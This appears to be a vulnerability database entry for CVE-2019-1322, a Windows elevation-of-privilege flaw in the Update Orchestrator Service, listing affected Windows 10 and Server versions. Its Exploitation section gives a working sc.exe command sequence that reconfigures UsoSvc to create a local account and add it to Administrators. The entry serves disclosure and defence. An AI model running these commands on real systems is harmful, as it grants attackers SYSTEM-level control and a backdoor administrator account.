Very High
CVE-2019-1322
CVE-2019-1322
Description
An elevation of privilege vulnerability exists when Windows improperly handles authentication requests, aka ‘Microsoft Windows Elevation of Privilege Vulnerability’. This CVE ID is unique from CVE-2019-1320, CVE-2019-1340.
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Technical Analysis
This is an elevation of privilege vulnerability that exists when Windows improperly handles authentication requests by leveraging the Update Orchestrator Service. If an attacker successfully exploits this vulnerability they can run processes in an elevated context.
Prerequisite:
The Update Orchestrator Service runs as NT AUTHORITY\SYSTEM and any user in the group NT AUTHORITY\SERVICE have full access to modify the service.
It is known to affect Windows 10 1803 and above that have not been updated with the November 12th, 2019 security update patch (or above).
Exploitation:
Create tmpUser, add to local administrators group, and reset the service to its default state.
sc.exe stop UsoSvc sc.exe config UsoSvc binPath="cmd /c net user /add tmpUser tmpPassword123" sc.exe start UsoSvc sc.exe stop UsoSvc sc.exe config UsoSvc binPath="cmd /c net localgroup Administrators /add tmpUser" sc.exe start UsoSvc sc.exe stop UsoSvc sc.exe config UsoSvc binPath="C:\Windows\System32\svchost.exe -k netsvcs -p" sc.exe start UsoSvc
CVSS V3 Severity and Metrics
General Information
Vendors
- microsoft
Products
- windows 10 1803 -,
- windows 10 1809 -,
- windows 10 1903 -,
- windows server 1803 -,
- windows server 1903 -,
- windows server 2019 -
Metasploit Modules
Exploited in the Wild
